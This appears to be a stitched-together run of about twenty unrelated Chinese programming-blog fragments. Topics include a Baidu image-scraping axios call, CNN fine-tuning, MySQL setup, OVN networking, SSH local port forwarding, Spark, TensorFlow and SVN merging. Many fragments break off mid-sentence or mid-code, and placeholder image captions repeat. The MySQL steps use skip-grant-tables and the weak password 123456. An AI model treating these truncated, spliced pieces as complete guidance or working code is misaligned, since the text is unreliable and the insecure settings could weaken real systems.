const axios = require("axios"); axios({ method: "get", url: "https://image.baidu.com/search/acjson?tn=resultjson_com&logid=10647297934415395588&ipn=rj&ct=201326592&is=&fp=result&fr=&word=%E9%A3%8E%E6%99%AF%E5%9B%BE%E7%89%87%E5%A4%A7%E5%85%A8&queryWord=%E9%A3%8E%E6%99%AF%E5%9B%BE%E7%89%87%E5%A4%A7%E5%85%A8&cl=2&lm=-1&ie=utf-8&oe=utf-8&adpicid=&st=&z=&ic=&hd=&latest=©right=&s=&se=&tab=&width=&height=&face=&istype=&qc=&nc=1&expermode=&nojc=&isAsync=&pn=30&rn=30&gsm=1e&1657702473476=", // 我node后端要告诉baidu的后端我是一个浏览器来请求数据---后端不会产生跨域问题 // headers 发送给baidu后端的信息 headers: { // 模拟浏览器信息 告诉其他人后端我是一个浏览器 "
特征提取 微调首先要弄清楚一个概念:特征提取。
用于图像分类的卷积神经网络包括两部分:一系列的卷积层和池化层(卷积基) + 一个密集连接分类器。对于卷积神经网络而言,特征提取就是取出之前训练好的网络的卷积基,用新数据训练一个新的分类器。那么为什么要重复使用之前的卷积基,而要训练新的分类器呢?这是因为卷积基学到的东西更加通用,而分类器学到的东西则针对于模型训练的输出类别,并且密集连接层舍弃了空间信息。
卷积基的通用性取决于该层在模型中的深度。模型中更靠近输入的层提取的特征更通用,更靠近输出的层提取的特征更抽象。
在特征提取时,应冻结卷积基,不对其进行训练,即训练过程中不改变卷积基的权重,只训练最后的dense层。在keras中,冻结方法为将卷积基每层的trainable属性设为False。
模型微调 模型微调与特征提取互为补充。对于用于特征提取的冻结的卷积基,微调是指将其靠近输出的几层解冻,并将这几层与分类器联合训练,让模型更加适用于当前要解决的问题。在keras中,解冻即将对应层的trainable属性设为True。
微调网络的步骤 在已经训练好的base network上添加自定义网络冻结基网络训练所添加的部分解冻基网络的一些层联合训练解冻的层和新添加的部分 总结 微调,就是基于预训练模型进行微调,比如用大型数据集Imagenet训练好的resnet,再在自己的数据集上训练一部分靠近输出的层,使之更加适用于自己的问题。
需要微调的情况:
预训练模型的数据集与自己的数据集相似,但自己的数据集太少计算资源不够 是否微调以及微调的方法要根据自己的数据集大小、数据集与预训练模型数据集的相似程度来选择。
不同情况下的微调:
数据量少,相似度高:修改最后几层;数据量少,相似度低:保留预训练模型的前几层,训练后面的层;数据量大,相似度高:这是最理想的情况。使用预训练的权重初始化模型,重新训练整个模型;数据量大,相似度低:直接重新训练整个模型。 参考 [1]《Python深度学习》
[2] 知乎(如何进行模型微调)
mysql和navicat的安装与配置 MySQL的安装与配置Navicat的安装与配置 安装下载:
MySQL下载
Navicat下载
MySQL的安装与配置 将mysql文件夹转移到自己想放置的路径下
复制mysql的bin路径
打开环境变量配置
右击【此电脑】,打开【属性】,打开【高级系统设置】
打开【环境变量】,打开用户变量下的【Path】,单击【新建】,填写复制的mysql的bin路径,最后点击【确认】
回到mysql文件目录下,新建【my.ini文件】
打开新建的【my.ini文件】,
并编辑一下配置内容:
[mysqld]
#安装目录
basedir=D:\Program Files\mysql-5.7.31-winx64
datadir=D:\Program Files\mysql-5.7.31-winx64\data
port=3306
skip-grant-tables
#basedir表示mysql安装路径
#datadir表示mysql数据文件存储路径
#port表示mysql端口
#skip-grant-tables表示忽略密码
以管理员身份打开cmd窗口
切换到mysql的bin路径下,
输入:mysqlf --install
如果报错,则需要安装一些配置插件,并重新执行命令。
不报错则无需安装。
重启后,需要重新执行命令。
成功后,对mysql进行初始化,
输入:mysqld --initialize-insecure --user=mysql
执行成功后,则可以回到目录查看初始化生成的文件。
接着启动mysql服务,
输入:net start mysql
启动mysql服务后,登录mysql,
输入:mysql –u root –p
由于配置中配置了免密登录,故此无需密码,直接回车即可。
进入mysql后,修改root密码(可以根据自己需求修改密码123456),并刷新权限,之后退出。
输入:update mysql.user set authentication_string=password(‘123456’) where user=‘root’ and Host = ‘localhost’;
输入:flush privileges;
输入:exit;
回到mysql目录,修改【my.ini文件】的配置
重新登陆mysql,
输入:mysql -uroot -p123456
(-uroot :指用户root用户登陆;-p123456:指密码是123456)
因为总是忘记有qsort这个函数,导致遇到需要排序的题的时候,总是要写着类似的代码,所以特此单独把qsort拿出来单独整理一遍,让自己能够熟练掌握,也以免之后忘记了qsort可以拿自己的文章看。
目录
一、论冒泡排序和qsort
1、qsort 是什么?
2、qsort在程序中使用
1.关于cmp函数的一些规定 2、介绍一个指针类型 void*类型
3、模拟qsort
二、回调函数
三、在最后
一、论冒泡排序和qsort 冒泡排序的核心思想:相邻元素两两比较
写一个冒泡排序函数:
#include<stdio.h> void bubble_sort(int arr[], int sz);//函数声明 int main() { //先创建一个数组 int arr[] = { 4,8,9,3,5,2,1,7 }; //通过sizeof求元素个数 int sz = sizeof(arr) / sizeof(arr[0]); //把数组排成升序 bubble_sort(arr, sz); //打印数组内容 int i = 0; for (i = 0; i < sz; i++) { printf("%d ", arr[i]); } return 0; } //这个函数只能排整型数组 void bubble_sort(int arr[], int sz) { int i = 0; while (sz) { int flag = 0; for (i = 0; i < sz - 1; i++) { if (arr[i] > arr[i + 1])//元素两两比较 { int tmp = arr[i]; arr[i] = arr[i + 1]; arr[i + 1] = tmp; flag = 1; } } sz--; if (flag == 0) { break;//如果数组内容一开始就是按规则有序排列的,可以进行判断优化 } } } 请注意:这样的冒泡排序有一个弊端只能排序整型数据,因为在最开始函数定义的时候已经把参数写死了。
电脑打开 Chrome浏览器时运行Typora卡顿,打字明显缓慢,查找很多办法,以下方法为大佬所写,亲测有效;
修改Typora使用规则
大概在如下所示位置
c:\Users\\AppData\Roaming\Typora\conf\conf.user.json
打开后修改flags, 保存并重启typora,就不再使用GPU了:
"flags": [["disable-gpu"]]
禁用GPU之后,软件启动的时候比之前慢,但是打开之后不卡顿了。
怀疑是跟Chromium,GPU驱动有冲突。
处理结果如下:
————————————————
原文链接:https://blog.csdn.net/Mao_Jonah/article/details/120533879
编辑切换为居中
添加图片注释,不超过 140 字(可选)
编辑切换为居中
添加图片注释,不超过 140 字(可选)
编辑切换为居中
添加图片注释,不超过 140 字(可选)
编辑切换为居中
添加图片注释,不超过 140 字(可选)
编辑切换为居中
添加图片注释,不超过 140 字(可选)
编辑切换为居中
添加图片注释,不超过 140 字(可选)
编辑切换为居中
添加图片注释,不超过 140 字(可选)
编辑切换为居中
添加图片注释,不超过 140 字(可选)
编辑切换为居中
添加图片注释,不超过 140 字(可选)
编辑切换为居中
添加图片注释,不超过 140 字(可选)
编辑切换为居中
添加图片注释,不超过 140 字(可选)
编辑切换为居中
添加图片注释,不超过 140 字(可选)
编辑切换为居中
添加图片注释,不超过 140 字(可选)
编辑切换为居中
添加图片注释,不超过 140 字(可选)
Ubuntu20.04安装nvidia驱动,解决nvidia-smi报错 找到合适自己电脑显卡的驱动重启电脑 找到合适自己电脑显卡的驱动 打开终端:ctrl+alt+t
ubuntu-drivers devices 会显示你的电脑上可用的nvidia驱动。只需要安装推荐的版本即可(后面有recommend字样)
我这里用
sudo apt-get install nvidia-driver-515 安装过程如果出现boot选项用方向键选择确认就行,要填入密码就填一个,如果没有请忽略。
重启电脑 出现perform MOK management就按以下操作,不然是安装不成功的(我开始按照网上的教程就是nvidia-smi一直显示错误)。
重启后
nvidia-smi 显示如下就是安装成功了。
前言 Java 一种静态编程语言,所有变量和表达式是在编译时就确定的。同时,Java 又是一种强类型语言,所有的变量和表达式都有具体的类型,并且每种类型是严格定义的。在 Java 中共有8种基本类型数据,同时每种基本类型又有对应的包装类。
基本数据类型(默认值)包装类(默认值)取值范围byte (0)Byte (null)-128~127short (0)Short (null)-32768~32767int (0)Integer (null)-231 ~ 2(31-1)long (0)Long (null)-263 ~ 2(63-1)float (0.0)Float (null)1.4E-45~3.4028235E38double (0.0)Double (null)4.9E-324~1.7976931348623157E308boolean (false)Boolean (null)true或falsechar (为空)Character (null)0~65535 一、包装类型可以为null,而基本类型不可以 包装类型可以应用于POJO中(POJO专指只有setter/getter/toString的简单类,包括DO/DTO/BO/VO 等),而基本类型不行和POJO类似的,还有传输对象DTO(接收前端传参)、视图对象VO(返回给前端的数据)、ENTITY(与数据库表中的字段含义完全对应,表的实体类)为什么POJO的属性必须要用包装类型呢? 《阿里巴巴Java开发手册》这样说明:数据库的查询结果可能是null,如果使用基本类型的话,因为要自动拆箱(将包装类型转为基本类型,比如说把Integer 对象转换成int值),就会抛出 NullPointerException 的异常。案例:下面的代码可以编译通过,但是会抛出空指针异常(java.lang.NullPointerException)。int b = a 实际上是 int b = a.intValue(),由于 a 的引用值为 null ,在空对象上调用方法就会抛出 NullPointerException 异常。 @Test public void a34() { Integer a = null; int b = a; System.out.println(b); } 二、包装类型可用于泛型,而基本类型不可以 泛型不能使用基本类型,因为使用基本类型时会编译出错。
List<int> list = new ArrayList<>(); // 提示 Syntax error, insert "
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录 前言一、单接口自动化测试二、场景自动化测试 前言 众所周知,这几年来,自动化测试越来越火爆,但凡去面试,面试官都会问会不会自动化测试,不会自动化连面试机会都少一半,可见,这对于测试来说多么重要。常见的自动化测试主要由:单接口、场景自动化组成
一、单接口自动化测试 什么是单接口自动化测试呢?
所谓单接口,即是只针对一个接口,根据接口文档,对这个接口设计测试用例,然后统一执行这个接口测试用例,这就是单接口
单接口测试用例的依据是什么?
接口测试的依据是接口文档,如一个接口的说明、参数、参数类型、字段长度、是否必填、实现的功能
进行单接口测试时,需要先写接口测试用例:
根据接口说明,按要求设计测试用例
将接口测试用例转化成自动化测试脚本
运行脚本时,不依赖任何接口,可直接运行(除登录接口)
二、场景自动化测试 场景自动化注重业务场景流程,是实现系统的关联业务流程的,如果场景中的一个接口错误,则整个场景就会失败,每个接口之间是相互依赖的,不可独立运行,有先后顺序
如以下场景:
1、登录
2、搜索商品
3、查看商品详情
4、加入购物车
5、提交订单
6、支付
这里就是一个完整的场景,那么在实现自动化的时候,需要依次调用这些接口,把这些业务流程完成。
在使用vue编写完一个分页器组件后,我对分页器的底层逻辑产生了兴趣,想在此组件的基础上再深入了解一些分页器的底层逻辑,了解vue与原生js的区别。我在github上看了一些大神写的分页器,属实牛逼,之后自己也根据他们的编写逻辑,反复推敲了个七八遍,也算是对分页器的逻辑掌握的差不多了,以下则是小编对原生js编写的一些体会。
首先我们需要明白在编写js时,我们需要在页面中创建哪些标签?标签应该赋予什么属性?分页器需要哪些数据?需要哪些函数?函数需要传哪些参数?总之,需要考虑的问题非常多,从构建到渲染再到功能实现都需要亲力亲为的。
页面构建思路:
所有按钮用a标签表示,全部放在一个div盒子中
点击切换的按钮有正常使用的属性值(prevPage和nextPage)和禁用属性值(disabled)
数值页面按钮有选中时的属性值(current)和未选中的属性值
创建出来的html和css代码如下:
html代码:
<div class="page"></div> css代码:
a { text-decoration: none; } .page { display: table; margin: 100px auto; } .page a { cursor: default; display: inline-block; color: #00C9A6; background-color: #D9F7F2; height: 25px; font-size: 10pt; line-height: 25px; padding: 0 9px; border: 1px solid #D9F7F2; margin: 0 2px; border-radius: 4px; vertical-align: middle; } .page a:not(.disabled):not(.current):hover { border: 1px solid #00C9A6; cursor: pointer; } .page a.current { display: inline-block; font-size: 10pt; height: 25px; line-height: 25px; padding: 0 9px; margin: 0 2px; color: #fff; background-color: #00C9A6; border: 1px solid #00C9A6; border-radius: 4px; vertical-align: middle; } .
文章目录 button组件的open-type="share"app.jsonpages/about/about.wxmlpages/about/about.wxsspages/about/about.js 页面右上角的转发按钮app.jsonpages/about/about.wxmlpages/about/about.wxsspages/about/about.jspages/home/home.wxmlpages/home/home.wxsspages/home/home.js 微信小程序的转发分享功能,有两种实现方式:
button组件open-type="share",点击按钮后,会触发Page.onShareAppMessage事件。页面右上角菜单“转发”按钮,点击按钮后,也会触发Page.onShareAppMessage事件。 button组件的open-type=“share” 代码涉及的文件有:
app.jsonpages/about/about.wxmlpages/about/about.wxsspages/about/about.js button组件open-type="share",点击该按钮,触发Page.onShareAppMessage事件。
app.json { "pages": [ "pages/about/about" ], "window": { "navigationBarBackgroundColor": "#0149af", "navigationBarTitleText": "首页", "navigationBarTextStyle": "white" }, "style": "v2", "sitemapLocation": "sitemap.json" } pages/about/about.wxml <view class="aboutContainer"> <view class="content">极客是一群什么样的人?他们大智若愚而富有科学精神,对一切常识的东西天然反感;他们天生热爱探索和创造,对于跟随和人云亦云深恶痛绝;他们特立独行,从不自我设置禁区;他们信仰自由,对于人为的限制极其不屑并热衷于挑战权威;在工作中他们推崇化繁为简,相信设计的力量并追求产品美学……</view> <button open-type="share">点我分享</button> </view> pages/about/about.wxss .content{ margin: 10rpx; padding: 10rpx; text-align: justify; line-height: 40rpx; background:#eee; color: #1a74f1; font-size: 24rpx; border-radius: 10rpx; margin-bottom: 10rpx; } pages/about/about.js Page({}) 页面右上角的转发按钮 首先,只有定义了 onShareAppMessage(),页面右上角菜单才会显示“转发”按钮。
然后,onShareAppMessage(Object object) 接收一个对象作为参数,该对象包含如下属性:
from,转发事件来源,string类型,有如下两个值: "button",通过点击页面内的button组件转发。"menu",通过点击页面右上角转发菜单转发。 target,是一个对象。 如果from是"button",则target是触发此次转发事件的button组件。如果from是"menu",则target是undefined。 最后,onShareAppMessage(Object object) 可以返回一个对象,用来自定义转发内容。返回的对象可以包含如下属性:
(获取更多知识,前往前往我的wx ————公z号 (程式解说)
闭包 是是一保护私有变量的机制,在函数执行时形成私有作用域,保护里面的私有变量不受外界干扰,直观的说就是形成不销毁的栈。
Q1: 什么是闭包?
闭包就是能够读取其他函数内部变量 (自由变量) 的函数。
或者指能被访问的自由变量的函数。
Q2: 什么是自由变量?
在函数内部被使用,既不是函数的参数,也不是在函数内部的局部变量的变量。
由于在Javascript语言中,只有函数内部的子函数才能读取局部变量,因此可以把闭包简单理解成“定义在一个函数内部的函数”。
所以,在本质上,闭包就是将函数内部和函数外部连接起来的一座桥梁。
function foo() { var count = 0; // count 是自由变量 return function bar() { console.log(++count); } } var bar = foo(); bar(); // 1 bar(); // 2 bar(); // 3 // foo() 执行完毕之后, 上下文销毁后,count 变量依然存在。 闭包的特点
函数嵌套函数函数内部可以引用外部的变量和参数参数和变量不会被垃圾回收机制回收 用途
闭包可以用在许多地方。它的最大用处有两个:
实现变量的私有化, 防止全局变量的污染。让这些变量的值始终保持在内存中。外部可以访问函数内部的变量。 注意点
1)由于闭包会使得函数中的变量都被保存在内存中,函数不释放自由变量(自由变量在浏览器被关闭的时才释放), 所以导致内存消耗很大,可能导致内存泄露。
2)闭包会在父函数外部,改变父函数内部变量的值。所以,如果你把父函数当作对象(object)使用,把闭包当作它的公用方法(Public Method),把内部变量当作它的私有属性(private value),这时一定要小心,不要随便改变父函数内部变量的值。
解决方案
方案一:标记清除法, 实现零引用。
xxx = null; 方案二: 立即执行函数。
特点: 实则是匿名函数,没有函数声明提升, 没有被其他变量引用。
Spark环境搭建教程 前言Spark环境搭建-Local-本地模式准备工作原理操作-开箱即用测试 Spark环境搭建-Standalone-独立集群原理操作测试 Spark环境搭建-Standalone-HA原理操作测试 Spark环境搭建-Spark-On-Yarn原理准备工作0.关闭之前的Spark-Standalone集群1.配置Yarn历史服务器并关闭资源检查2.配置Spark的历史服务器和Yarn的整合3.配置依赖的Spark 的jar包4.启动服务 两种模式client-了解cluster模式-开发使用 操作client模式cluster模式 补充:spark-shell和spark-submit Spark程序开发-重点准备工作代码实现-WordCount代码实现-On-YarnWordCount图解 扩展:练习题 蒙特卡罗算法求PI思路代码实现 前言 Spark 是一种基于内存的快速、通用、可扩展的大数据分析计算引擎。
本项目学习内容:
Spark基础概念Spark不同运行模式环境搭建:local、Standalone、Standalone HA、Spark on YARNIDEA搭建Spark开发环境,实现CountWord示例demo 本项目属于《Spark系列》。详细示例代码和图片展示,点下面github链接:
[《Spark环境搭建》]
https://github.com/xiaoguangbiao-github/bigdata_spark_env.git
[《Spark内核原理及RDD》]
*https://github.com/xiaoguangbiao-github/bigdata_spark_core.git
[《SparkStreaming & SparkSql》]
https://github.com/xiaoguangbiao-github/bigdata_sparkstreaming_sparksql.git
[《StructuredStreaming & Spark综合案例》]
https://github.com/xiaoguangbiao-github/bigdata_structuredstreaming_sparkdemo.git
[《Spark3.0新特性 & Spark多语言开发》]
https://github.com/xiaoguangbiao-github/bigdata_spark3_languagedevelop.git
Spark环境搭建-Local-本地模式 准备工作 1.JDK
2.ScalaSDK只需要在Windows安装即可
3.Spark安装包
http://spark.apache.org/downloads.html
我这里使用:spark-3.0.1-bin-hadoop2.7.tgz
原理 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gwYuztzb-1648349412133)(img/1609551528270.png)]
操作-开箱即用 1.上传解压安装包
tar -zxvf spark-3.0.1-bin-hadoop2.7.tgz
2.修改权限
chown -R root /export/server/spark-3.0.1-bin-hadoop2.7
chgrp -R root /export/server/spark-3.0.1-bin-hadoop2.7
3.创建软连接(或改名)
ln -s /export/server/spark-3.0.1-bin-hadoop2.7 /export/server/spark
4.查看安装目录
测试 1.启动spark交互式窗口
/export/server/spark/bin/spark-shell
wangEditor富文本编辑器官网:wangeditor官网
1.安装wangEditor
npm install @wangeditor/editor-for-vue --save 2.引入组件
//局部引入 import { Editor, Toolbar } from '@wangeditor/editor-for-vue' //vue中使用组件 components: { Editor, Toolbar }, data() { return { editor: null, html: '', editorConfig: { placeholder: '请输入内容...', // 所有的菜单配置,都要在 MENU_CONF 属性下 MENU_CONF: { //配置上传图片 uploadImage: { customUpload: this.uploadImg } } }, mode:"default" }; }, //这里需要引入css样式 <style src="@wangeditor/editor/dist/css/style.css"></style> 3.使用editor组件
<Toolbar style="border-bottom: 1px solid #ccc" :editor="editor" :mode="mode" /> <Editor style="height: 500px; overflow-y: hidden;" v-model="html" :defaultConfig="editorConfig" :mode="
记录一下自己平时遇到的问题
app designer内清理axes图窗的图像
一般matlab里清理图窗是cla,但是app designer里不能直接调用这个,不然会弹出来一个figure,应该用以下代码:
cla(app.UIAxes);
其中,app.UIAxes是具体被操作的UIAxes名字
app designer内获取当前时间(年月日时分秒)
matlab里有这个命令:matlab中如何获取当前日期时间
比如分别使用year,month,day,hour,minute,second从date提取年月日时分秒等信息
但是在app designer里说没有year month这些函数,所以可以用:以实时时间显示为例介绍Timer
CT = clock; % Current Time 当前时间 year = CT(1)%年 month = CT(2)%月 day = CT(3)%日 hour = CT(4)%时 minute = CT(5)%分 second = CT(6)%秒
本文实验如何通过ovn的分布式网关端口将ovn网络连接到外部网络。
分布式网关端口是一个逻辑路由器端口,只不过它需要绑定到指定节点上(一个或者多个节点)。注意和网关路由器的区别,网关路由器是绑定到指定节点(只能绑定到一个节点)的逻辑路由器,而分布式网关端口只是正常逻辑路由器上的一个端口,只不过需要绑定到某些节点。
下图是ovn-architecture中分布式网关端口的逻辑拓扑,相比较网关路由器简化不少。
image.png
设置分布式网关端口,可参考ovn-nb的Distributed Gateway Ports部分,有两种方式,可通过设置Logical_Router_Port表的如下两个参数实现
image.png
可以设置多个chassis,并指定chassis的优先级,只有优先级最高的chassis工作,其他chassis作为备份,chassis之间使用bfd检测是否存活。
对应的命令如下
//设置 Distributed Gateway Ports 的方式之一: ovn-nbctl ha-chassis-group-add ha1 ovn-nbctl ha-chassis-group-add-chassis ha1 master 1 ovn-nbctl ha-chassis-group-add-chassis ha1 node1 2 //465efd10-c0e0-4966-be32-a20b213a2dbc 为 ha1 的uuid,可通过 ovn-nbctl ha-chassis-group-list 查看 ovn-nbctl set Logical_Router_Port lr1-lslocal ha_chassis_group=465efd10-c0e0-4966-be32-a20b213a2dbc //设置 Distributed Gateway Ports 的方式之二: ovn-nbctl lrp-set-gateway-chassis lr1-lslocal master 1 ovn-nbctl lrp-set-gateway-chassis lr1-lslocal node1 2 本次实验的逻辑拓扑
image.png
首先创建图中lr1及其上面部分的组件
###创建两个交换机和一个路由器 //创建两个虚拟交换机 ls1 和 ls2 ovn-nbctl ls-add ls1 ovn-nbctl ls-add ls2 //创建一个虚拟路由器 lr1 ovn-nbctl lr-add lr1 //在虚拟路由器 lr1 上添加端口,用来连接虚拟交换机 ls1 ovn-nbctl lrp-add lr1 lr1-ls1 00:00:00:00:00:01 10.
本文实验如何通过ovn的网关逻辑路由器将ovn网络连接到外部网络。
前面讲过ovn的逻辑路由器是分布式的,这意味着它没有绑定到某个节点上,而是存在于所有节点上的,同时它是通过每个节点的openflow流表来实现的,所有vm之间的东西向流量可以在本节点就能找到目的节点,不用再发送的网络节点处理。
但是对于一些有状态的服务是有问题的,比如SNAT和DNAT,这些服务需要在同一个节点上实现。为了解决这个问题,引入了网关路由器,其和逻辑路由器的区别是,网关路由器会通过Logical_Router表的选项options:chassis绑定到指定的节点上。
下面的图是从ovn-architecture截取的网关虚拟路由器拓扑,图中的GLR全称是gateway logical router,就是网关路由器,其需要通过单独的switch LSjoin连接到逻辑路由器(多个逻辑路由器可以直接相连,但是网关路由器得通过LSjoin连接)。
image.png
本次实验的逻辑拓扑如下
image.png
创建两个交换机(ls1和ls2)和一个路由器(lr1)
//创建两个虚拟交换机 ls1 和 ls2 ovn-nbctl ls-add ls1 ovn-nbctl ls-add ls2 //创建一个虚拟路由器 lr1 ovn-nbctl lr-add lr1 //在虚拟路由器 lr1 上添加端口,用来连接虚拟交换机 ls1 ovn-nbctl lrp-add lr1 lr1-ls1 00:00:00:00:00:01 10.10.10.1/24 //在虚拟交换机 ls1 上添加端口,用来连接虚拟路由器 lr1 ovn-nbctl lsp-add ls1 ls1-lr1 //端口类型必须为 router ovn-nbctl lsp-set-type ls1-lr1 router //设置地址,必须和 lr1-ls1 的一致 ovn-nbctl lsp-set-addresses ls1-lr1 00:00:00:00:00:01 //指定 router-port ovn-nbctl lsp-set-options ls1-lr1 router-port=lr1-ls1 //在虚拟路由器 lr1 上添加端口,用来连接虚拟交换机 ls2 ovn-nbctl lrp-add lr1 lr1-ls2 00:00:00:00:00:02 10.
本文介绍一下ovn的acl功能,用来设置访问控制列表,并且只能应用在逻辑交换机或者port group上,不能应用在逻辑路由器上。
acl table 在nbdb中提供了acl table,如下所示,其中每行都表示一条acl规则,参数包括优先级,方向,匹配域和动作。
image.png
priority
指定acl规则的优先级,值越大优先级越高。如果匹配到的多条规则优先级相同,最终哪条规则生效是不确定的。
direction
指定报文的方向,只有两个值: from-lport和to-lport。前者表示入方向,后者表示出方向,这是在逻辑交换机的角度来说的。
match
用来指定报文匹配域,具体的表达式规则可参考sbdb中 logical_flow table的match列。注意:类型为localnet和router的端口上不能应用acl规则。
action
对于匹配到规则的报文的处理,目前支持四个值:allow, allow-related, drop, or reject。
allow: 表示允许报文通过;
allow-related:表示允许报文和其响应报文通过;
drop:静默丢弃报文;
reject:丢弃报文,并回复报文。对于tcp协议报文,回复rst,对于其他类型的报文,回复ICMPv4/ICMPv6 unreachable。
比如在逻辑交换机ls1上添加如下规则,发往ls1-vm1端口的ip报文被丢弃,优先级为0。
ovn-nbctl acl-add ls1 to-lport 0 'outport == "ls1-vm1" && ip' drop address_set table address_set table的每行指定了地址集合,包含ipv4,ipv6和mac地址,可以用在acl规则的match字段。
image.png
如下两个例子
//创建ip地址集合 ovn-nbctl create Address_Set name=ipset addresses='10.10.20.2 10.10.10.3' //创建mac地址集合 ovn-nbctl create Address_Set name=macset addresses='"02:00:00:00:00:01","02:00:00:00:00:02"' 应用acl 只在acl table添加规则是没用的,还需要将其应用到逻辑交换机或者port group。如下Logical_Switch和Port_Group table的acls列指定了acl规则的集合。
Logical_Switch TABLE acls set of ACLs Port_Group TABLE acls set of ACLs 实验 在前一篇文章ovn 配置逻辑路由器实现三层转发的基础上,做个小实验,拓扑如下
文章出自个人博客 https://knightyun.github.io/2022/07/17/tools-ssh-tunnel,转载请申明。
SSH 协议是 Linux 系统中使用较为频繁的协议之一,通常用于远程管理主机或服务器,默认使用 22 端口,可类比 Windows 系统中的 telnet(23 端口),这里要介绍的是 ssh 除了远程连接外的另一强大特性,即隧道加密与多种场景下代理功能的实现。
前置条件 为了理解更轻松,最大程度上简化网络拓扑,后续都只用两台机器做测试,IP 与主机名对应关系如下;更复杂的网络结构和多接口场景可举一反三延申,要用作某些特殊用途,则自行YY。
192.168.111.128 --> Kali 192.168.111.131 --> Centos 在验证 IP 地址和多级代理的场景时,会额外用到网关机器:192.168.111.1。
然后再多了解一下三个 ssh 的命令行参数,后面会用到:
-N 建立连接后不远程执行命令,也没有交互shell,通常用于端口转发的场景。 -f 建立连接后会在后台运行进程,不占用前台窗口。 -c 传输数据时对数据进行压缩,压缩算法和 gzip 的一样,但不适用于高速网络环境,会降低连接速度。 -v 打印更详细的连接过程信息。 本地转发(-L) 原理 本地转发即使用 ssh -L 参数,先看一下官方解释(man ssh):
-L [bind_address:]port:host:hostport -L [bind_address:]port:remote_socket -L local_socket:host:hostport -L local_socket:remote_socket Specifies that connections to the given TCP port or Unix socket on the local (client) host are to be forwarded to the given host and port, or Unix socket, on the remote side.
1、张量 TensorFlow中的张量就是一个n维的数组,类型为tf.tensor.类似于numpy中的ndarray。Tensor具有两个重要的属性,包括张量的数据类型(dtype)及张量的形状(shape)。
张量(tensor):多维数组(列表) 阶=维度 0阶 标量scalar 例如:s= 123 1阶 向量vector 例如:s= [1,2,3] 2阶 矩阵matrix 例如:s= [[1,2,3],[4,5,6]] n阶 张量tensor 可以表示0到n阶列表 2、张量的数据类型 3、创建一个张量 3.1 创建任意张量 语法为:tf.constant(张量内容,dtype=数据类型(可选))
例:
import tensorflow as tf a=tf.constant([1,5],dtype=tf.int64) print(a) print(a.dtype) print(a.shape) 运行结果:
3.2 创建全0张量 语法:tf.zeros(维度)
1维:直接写个数2维:[行,列]多维:[n,m,j,k…]
例: import tensorflow as tf a=tf.zeros([3,5]) print(a) 运行结果:
3.3 创建全1张量 语法:tf.ones(维度)
1维:直接写个数2维:[行,列]多维:[n,m,j,k…]
例: import tensorflow as tf a=tf.ones(6) print(a) 运行结果:
3.4创建全为指定值的张量 语法:tf.fill(维度,指定值)
1维:直接写个数2维:[行,列]多维:[n,m,j,k…]
例: import tensorflow as tf a=tf.fill([3,6],8) print(a) 运行结果:
“一个人最好的状态:梦想藏在心里,行动落于腿脚。”
目录
1、前言
2、基本概念
2.1 MyBatis
2.2 Spring
2.3 SpringMVC
3、开发环境搭建
3.1 整合Spring框架
3.2 整合SpringMVC框
3.3 添加SpringMVC框架支持
3.4 配置SpringMVC核心控制器
3.5 测试SpringMVC框架
4、部署Tomcat和相关环境
5、整合MyBtis框架
5.1 测试MyBatis框架
1、前言 前几篇我的几个系列文章分别介绍了MyBatis、Spring、SpringMVC框架的基本入门以及一些常用知识点,既然框架各有优点,那么我们是否可以将这几个框架进行整合?
下面就开始手把手教你搭建SSM框架,在这之前我们先总结一下这三个框架。
2、基本概念 2.1 MyBatis MyBatis是一个优秀的基于java的持久层框架,它内部封装了jdbc,使开发者只需要关注sql语句本身,而不需要花费精力去处理加载驱动、创建连接、创建statement等繁杂的过程。
2.2 Spring Spring是一个开源的重量级的应用开发框架,其目的是用于简化企业级应用程序开发,降低开发者的开发难度
Spring提供的IOC和AOP应用,可以将组建的耦合度降到最低(即解耦),便于系统日后的维护和升级
Spring为系统提供了一个整体的解决方案,开发者可以利用它自身提供的功能外,也可以与第三方框架和技术整合应用,可以自由选择利用哪种技术进行开发
2.3 SpringMVC SpringMVC是Spring框架的一个模块,Spring和SpringMVC无需中间层整合
SpringMVC提供了基于MVC(模型—视图—控制器)架构和用于开发灵活和松耦合的web应用程序的组件
3、开发环境搭建 创建一个基于maven的web工程
点击File,新建Project项目
选中Maven,勾上Creater from archetype选项,按照图中数字顺序选中后点击Next按钮即可
依次填写groupid和artifactid后点击next即可
选中提前配置好的maven,点击next
输入项目名称Spring,点击Finish即可
这样就创建好了一个名称为SSM的maven web项目,结构如下图:
项目创建完成之后没有的java,resources,test包自己创建即可 我们可以看到包创建好之后是灰色的,需要选中相应的文件夹右击Mark Directory as,选中相应的颜色即可
现在项目的结构就变成了如下样子:
3.1 整合Spring框架 在pom.xml文件中导入所需要的的jar包
<dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> <!--Spring 框架基本的核心工具类--> <dependency> <groupId>org.
1.什么是委托 委托是C#中的一个引用类型。它允许捕捉对方法的引用,并像传递其他对象那样传递该引用,也可以像调用其他方法一样调用被捕捉的方法。
声明委托需要使用delegate关键字:
// 声明委托 delegate string TestDelegate(int a, int b); public static void DelegatePracticeMain() { TestDelegate testDelegate = null; // 绑定方法 testDelegate = Test; // 执行方法 Console.WriteLine(testDelegate(10,20)); } public static string Test(int a, int b) { return $"a + b = {a + b}"; } 我们同样可以使用C#为我们声明好的委托System.Func和System.Action。其中,System.Func代表有返回值的方法,System.Action代表无返回值的方法。它们的使用方法如下:
public static string Test(int a, int b) { return $"a + b = {a + b}"; } public static void VoidTest(int a) { Console.
python数据分析-因子分析(转载)
(获取更多知识,前往前往我的wx ————公z号 (程式解说)
原文来自python数据分析-因子分析
前言
公司需要测试某些功能,准备先上线这部分功能,所以需要把这部分代码合并到某个版本(比如:mydemo_v2.4.7.6)分支上,交给测试部门拉取这个版本测试。
正文开始
下面我们开始SVN主干(trunk)代码合并到分支(branch)操作:
1、首先更新update本地mydemo_v2.4.7.6版本,然后在该版本文件夹上右键,选择乌龟SVN–》再点击merge
2、弹出合并操作框,选择merge a range of revisions,点击next
3、弹出下图,输入主干项目地址,选择specific range,再点击show log
4、弹出主干提交的版本框,选择需要合并的功能版本(例如:1612版本),可以选择多个版本合并,点击next
5、弹出下图,选择compare whitespaces,可以先按test merge按钮测试一下看看是否有冲突,有冲突先解决冲突,再点击merge
6、最后显示合并成功Completed!
到这里全部操作完成,代表选择的功能版本已经合并到本地分支上了,最后提交该分支代码即可。
